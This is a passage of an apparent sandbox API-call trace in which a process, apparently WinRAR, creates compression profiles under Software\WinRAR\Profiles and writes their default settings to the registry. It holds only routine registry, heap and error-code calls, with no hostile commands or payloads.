lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.239] RegSetValueExW (in: hKey=0x164, lpValueName="PathsAbsDrive", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.240] RegCloseKey (hKey=0x164) returned 0x0 [0052.240] GetLastError () returned 0x0 [0052.240] SetLastError (dwErrCode=0x0) [0052.240] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.240] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArc", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.240] RegCloseKey (hKey=0x164) returned 0x0 [0052.240] GetLastError () returned 0x0 [0052.240] SetLastError (dwErrCode=0x0) [0052.240] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.240] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArcDoubleExt", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.240] RegCloseKey (hKey=0x164) returned 0x0 [0052.240] GetLastError () returned 0x0 [0052.240] SetLastError (dwErrCode=0x0) [0052.240] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.240] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArcSubfolders", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.240] RegCloseKey (hKey=0x164) returned 0x0 [0052.240] GetLastError () returned 0x0 [0052.240] SetLastError (dwErrCode=0x0) [0052.240] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.240] RegSetValueExW (in: hKey=0x164, lpValueName="EmailArcTo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.240] RegCloseKey (hKey=0x164) returned 0x0 [0052.240] GetLastError () returned 0x0 [0052.240] SetLastError (dwErrCode=0x0) [0052.240] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18ab78, lpdwDisposition=0x18ab70 | out: phkResult=0x18ab78*=0x164, lpdwDisposition=0x18ab70*=0x2) returned 0x0 [0052.240] RegSetValueExW (in: hKey=0x164, lpValueName="PackDetails", Reserved=0x0, dwType=0x3, lpData=0x18b090*, cbData=0xc0 | out: lpData=0x18b090*) returned 0x0 [0052.241] RegCloseKey (hKey=0x164) returned 0x0 [0052.241] GetCurrentProcess () returned 0xffffffffffffffff [0052.241] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c690, lpSystemAffinityMask=0x18c698 | out: lpProcessAffinityMask=0x18c690, lpSystemAffinityMask=0x18c698) returned 1 [0052.241] GetCurrentProcess () returned 0xffffffffffffffff [0052.241] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c6f0, lpSystemAffinityMask=0x18c6f8 | out: lpProcessAffinityMask=0x18c6f0, lpSystemAffinityMask=0x18c6f8) returned 1 [0052.241] GetLastError () returned 0x0 [0052.241] SetLastError (dwErrCode=0x0) [0052.241] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x18c2a0 | out: phkResult=0x18c2a0*=0x164) returned 0x0 [0052.241] RegQueryValueExW (in: hKey=0x164, lpValueName="SMP", lpReserved=0x0, lpType=0x18c704, lpData=0x18c700, lpcbData=0x18c738*=0x4 | out: lpType=0x18c704*=0x0, lpData=0x18c700*=0x1, lpcbData=0x18c738*=0x4) returned 0x2 [0052.241] RegCloseKey (hKey=0x164) returned 0x0 [0052.241] LoadStringW (in: hInstance=0x13f160000, uID=0x3f8, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="Backup selected files") returned 0x15 [0052.241] GetLastError () returned 0x0 [0052.241] SetLastError (dwErrCode=0x0) [0052.241] GetLastError () returned 0x0 [0052.241] SetLastError (dwErrCode=0x0) [0052.241] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x164) returned 0x0 [0052.241] RegCloseKey (hKey=0x164) returned 0x0 [0052.241] GetLastError () returned 0x0 [0052.241] SetLastError (dwErrCode=0x0) [0052.241] GetLastError () returned 0x0 [0052.241] SetLastError (dwErrCode=0x0) [0052.241] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x164) returned 0x0 [0052.241] RegCloseKey (hKey=0x164) returned 0x0 [0052.241] GetLastError () returned 0x0 [0052.241] SetLastError (dwErrCode=0x0) [0052.241] GetLastError () returned 0x0 [0052.241] SetLastError (dwErrCode=0x0) [0052.241] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x0) returned 0x2 [0052.241] GetLastError () returned 0x0 [0052.241] SetLastError (dwErrCode=0x0) [0052.241] GetLastError () returned 0x0 [0052.241] SetLastError (dwErrCode=0x0) [0052.241] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x18a330 | out: phkResult=0x18a330*=0x164) returned 0x0 [0052.242] RegQueryValueExW (in: hKey=0x164, lpValueName="Name", lpReserved=0x0, lpType=0x18a794, lpData=0x18b300, lpcbData=0x18a790*=0x400 | out: lpType=0x18a794*=0x1, lpData="Default Profile", lpcbData=0x18a790*=0x20) returned 0x0 [0052.242] RegCloseKey (hKey=0x164) returned 0x0 [0052.242] GetLastError () returned 0x0 [0052.242] SetLastError (dwErrCode=0x0) [0052.242] GetLastError () returned 0x0 [0052.242] SetLastError (dwErrCode=0x0) [0052.242] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x9, phkResult=0x18a330 | out: phkResult=0x18a330*=0x164) returned 0x0 [0052.242] RegQueryValueExW (in: hKey=0x164, lpValueName="Name", lpReserved=0x0, lpType=0x18a794, lpData=0x18b300, lpcbData=0x18a790*=0x400 | out: lpType=0x18a794*=0x1, lpData="Create e-mail attachment", lpcbData=0x18a790*=0x32) returned 0x0 [0052.242] RegCloseKey (hKey=0x164) returned 0x0 [0052.242] GetLastError () returned 0x0 [0052.242] SetLastError (dwErrCode=0x0) [0052.242] GetLastError () returned 0x0 [0052.242] SetLastError (dwErrCode=0x0) [0052.242] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x1) returned 0x0 [0052.242] RegSetValueExW (in: hKey=0x164, lpValueName="Name", Reserved=0x0, dwType=0x1, lpData="Backup selected files", cbData=0x2c | out: lpData="Backup selected files") returned 0x0 [0052.242] RegCloseKey (hKey=0x164) returned 0x0 [0052.242] GetLastError () returned 0x0 [0052.242] SetLastError (dwErrCode=0x0) [0052.242] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.242] RegSetValueExW (in: hKey=0x164, lpValueName="Default", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.242] RegCloseKey (hKey=0x164) returned 0x0 [0052.242] GetLastError () returned 0x0 [0052.242] SetLastError (dwErrCode=0x0) [0052.242] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.242] RegDeleteValueW (hKey=0x164, lpValueName="ArcName") returned 0x2 [0052.242] RegCloseKey (hKey=0x164) returned 0x0 [0052.242] GetLastError () returned 0x0 [0052.242] SetLastError (dwErrCode=0x0) [0052.242] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.243] RegDeleteValueW (hKey=0x164, lpValueName="FileNames") returned 0x2 [0052.243] RegCloseKey (hKey=0x164) returned 0x0 [0052.243] GetLastError () returned 0x0 [0052.243] SetLastError (dwErrCode=0x0) [0052.243] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.243] RegSetValueExW (in: hKey=0x164, lpValueName="ImmExec", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.243] RegCloseKey (hKey=0x164) returned 0x0 [0052.243] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2) returned 0x1eb090 [0052.243] GetLastError () returned 0x0 [0052.243] SetLastError (dwErrCode=0x0) [0052.243] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.243] RegSetValueExW (in: hKey=0x164, lpValueName="ExclNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.329] RegCloseKey (hKey=0x164) returned 0x0 [0052.329] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb090 | out: hHeap=0x1b0000) returned 1 [0052.329] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2) returned 0x1eb090 [0052.329] GetLastError () returned 0x0 [0052.329] SetLastError (dwErrCode=0x0) [0052.329] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.329] RegSetValueExW (in: hKey=0x164, lpValueName="StoreNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.329] RegCloseKey (hKey=0x164) returned 0x0 [0052.329] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb090 | out: hHeap=0x1b0000) returned 1 [0052.329] GetLastError () returned 0x0 [0052.329] SetLastError (dwErrCode=0x0) [0052.329] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.329] RegSetValueExW (in: hKey=0x164, lpValueName="UseRAR", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.329] RegCloseKey (hKey=0x164) returned 0x0 [0052.329] GetLastError () returned 0x0 [0052.329] SetLastError (dwErrCode=0x0) [0052.329] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.330] RegSetValueExW (in: hKey=0x164, lpValueName="RAR5", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.330] RegCloseKey (hKey=0x164) returned 0x0 [0052.330] GetLastError () returned 0x0 [0052.330] SetLastError (dwErrCode=0x0) [0052.330] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.330] RegSetValueExW (in: hKey=0x164, lpValueName="SFXModule", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.330] RegCloseKey (hKey=0x164) returned 0x0 [0052.330] GetLastError () returned 0x0 [0052.330] SetLastError (dwErrCode=0x0) [0052.330] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.330] RegDeleteValueW (hKey=0x164, lpValueName="SFX") returned 0x2 [0052.330] RegCloseKey (hKey=0x164) returned 0x0 [0052.330] GetLastError () returned 0x0 [0052.330] SetLastError (dwErrCode=0x0) [0052.330] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.330] RegSetValueExW (in: hKey=0x164, lpValueName="SFXIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.330] RegCloseKey (hKey=0x164) returned 0x0 [0052.330] GetLastError () returned 0x0 [0052.330] SetLastError (dwErrCode=0x0) [0052.330] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.330] RegSetValueExW (in: hKey=0x164, lpValueName="SFXLogo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.330] RegCloseKey (hKey=0x164) returned 0x0 [0052.330] GetLastError () returned 0x0 [0052.330] SetLastError (dwErrCode=0x0) [0052.330] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.330] RegSetValueExW (in: hKey=0x164, lpValueName="SFXElevate", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.331] RegCloseKey (hKey=0x164) returned 0x0 [0052.331] GetLastError () returned 0x0 [0052.331] SetLastError (dwErrCode=0x0) [0052.331] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.331] RegSetValueExW (in: hKey=0x164, lpValueName="CmtFile", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.331] RegCloseKey (hKey=0x164) returned 0x0 [0052.331] GetLastError () returned 0x0 [0052.331] SetLastError (dwErrCode=0x0) [0052.331] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18ab78, lpdwDisposition=0x18ab70 | out: phkResult=0x18ab78*=0x164, lpdwDisposition=0x18ab70*=0x2) returned 0x0 [0052.331] RegSetValueExW (in: hKey=0x164, lpValueName="CmtDataWide", Reserved=0x0, dwType=0x3, lpData=0x13f26f128*, cbData=0x2 | out: lpData=0x13f26f128*) returned 0x0 [0052.331] RegCloseKey (hKey=0x164) returned 0x0 [0052.331] GetLastError () returned 0x0 [0052.331] SetLastError (dwErrCode=0x0) [0052.331] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.331] RegSetValueExW (in: hKey=0x164, lpValueName="VolumeSize", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x4 | out: lpData="0") returned 0x0 [0052.331] RegCloseKey (hKey=0x164) returned 0x0 [0052.331] GetLastError () returned 0x0 [0052.331] SetLastError (dwErrCode=0x0) [0052.331] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.331] RegSetValueExW (in: hKey=0x164, lpValueName="VolSizeMod", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x2, cbData=0x4 | out: lpData=0x18b058*=0x2) returned 0x0 [0052.331] RegCloseKey (hKey=0x164) returned 0x0 [0052.331] GetLastError () returned 0x0 [0052.331] SetLastError (dwErrCode=0x0) [0052.331] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.332] RegSetValueExW (in: hKey=0x164, lpValueName="VolPause", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.332] RegCloseKey (hKey=0x164) returned 0x0 [0052.332] GetLastError () returned 0x0 [0052.332] SetLastError (dwErrCode=0x0) [0052.332] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.332] RegSetValueExW (in: hKey=0x164, lpValueName="OldVolNames", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.332] RegCloseKey (hKey=0x164) returned 0x0 [0052.332] GetLastError () returned 0x0 [0052.332] SetLastError (dwErrCode=0x0) [0052.332] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.332] RegSetValueExW (in: hKey=0x164, lpValueName="RecVolNumber", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.332] RegCloseKey (hKey=0x164) returned 0x0 [0052.332] GetLastError () returned 0x0 [0052.332] SetLastError (dwErrCode=0x0) [0052.332] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.332] RegSetValueExW (in: hKey=0x164, lpValueName="Update", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.332] RegCloseKey (hKey=0x164) returned 0x0 [0052.332] GetLastError () returned 0x0 [0052.332] SetLastError (dwErrCode=0x0) [0052.332] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.332] RegSetValueExW (in: hKey=0x164, lpValueName="Fresh", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.332] RegCloseKey (hKey=0x164) returned 0x0 [0052.332] GetLastError () returned 0x0 [0052.332] SetLastError (dwErrCode=0x0) [0052.332] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.333] RegSetValueExW (in: hKey=0x164, lpValueName="SyncFiles", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.333] RegCloseKey (hKey=0x164) returned 0x0 [0052.333] GetLastError () returned 0x0 [0052.333] SetLastError (dwErrCode=0x0) [0052.333] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.333] RegSetValueExW (in: hKey=0x164, lpValueName="Overwrite", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.333] RegCloseKey (hKey=0x164) returned 0x0 [0052.333] GetLastError () returned 0x0 [0052.333] SetLastError (dwErrCode=0x0) [0052.333] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.333] RegSetValueExW (in: hKey=0x164, lpValueName="Move", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.333] RegCloseKey (hKey=0x164) returned 0x0 [0052.333] GetLastError () returned 0x0 [0052.333] SetLastError (dwErrCode=0x0) [0052.333] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.333] RegSetValueExW (in: hKey=0x164, lpValueName="ArcRecBin", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.333] RegCloseKey (hKey=0x164) returned 0x0 [0052.333] GetLastError () returned 0x0 [0052.333] SetLastError (dwErrCode=0x0) [0052.333] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.333] RegSetValueExW (in: hKey=0x164, lpValueName="ArcWipe", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.333] RegCloseKey (hKey=0x164) returned 0x0 [0052.333] GetLastError () returned 0x0 [0052.333] SetLastError (dwErrCode=0x0) [0052.333] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.334] RegSetValueExW (in: hKey=0x164, lpValueName="WipeIfPassword", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.334] RegCloseKey (hKey=0x164) returned 0x0 [0052.334] GetLastError () returned 0x0 [0052.334] SetLastError (dwErrCode=0x0) [0052.334] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.334] RegSetValueExW (in: hKey=0x164, lpValueName="Solid", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.334] RegCloseKey (hKey=0x164) returned 0x0 [0052.334] GetLastError () returned 0x0 [0052.334] SetLastError (dwErrCode=0x0) [0052.334] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.334] RegSetValueExW (in: hKey=0x164, lpValueName="Test", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: 